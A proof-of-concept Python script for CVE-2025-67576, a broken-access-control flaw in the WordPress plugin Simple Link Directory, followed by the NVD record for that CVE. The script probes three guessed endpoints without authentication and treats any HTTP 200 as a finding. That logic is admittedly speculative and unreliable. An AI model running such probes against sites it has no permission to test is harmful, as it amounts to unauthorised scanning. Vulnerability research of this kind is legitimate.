CVE-2025-67576

# CVE-2025-67576 PoC - Missing Authorization in Simple Link Directory # Affected Plugin: Simple Link Directory <= 8.8.3 # Vulnerability Type: Broken Access Control import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-67576 This PoC demonstrates unauthorized access to protected endpoints """ # Target endpoint - likely an admin or protected function # Adjust endpoint based on actual vulnerable path discovery endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-json/sld/v1/", f"{target_url}/?action=sld_" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Testing CVE-2025-67576 on {target_url}") print(f"[*] Target plugin: Simple Link Directory <= 8.8.3") for endpoint in endpoints: try: # No authentication required - demonstrating missing authorization response = requests.get(endpoint, headers=headers, timeout=10) # Check if we can access protected content without auth if response.status_code == 200: print(f"[+] Potential vulnerability found at: {endpoint}") print(f"[+] Status: {response.status_code}") print(f"[+] Response length: {len(response.text)} bytes") return True elif response.status_code == 403: print(f"[-] Access denied at: {endpoint} (may have protection)") else: print(f"[-] Endpoint returned: {response.status_code}") except requests.RequestException as e: print(f"[!] Error testing {endpoint}: {str(e)}") print("[*] Manual testing recommended to confirm vulnerability") print("[*] Check plugin endpoints for missing capability checks") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-67576.py <target_url>") print("Example: python cve-2025-67576.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2025-67576", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:34.900", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in QuantumCloud Simple Link Directory simple-link-directory allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Simple Link Directory: from n/a through <= 8.8.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simple-link-directory/vulnerability/wordpress-simple-link-directory-plugin-8-8-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}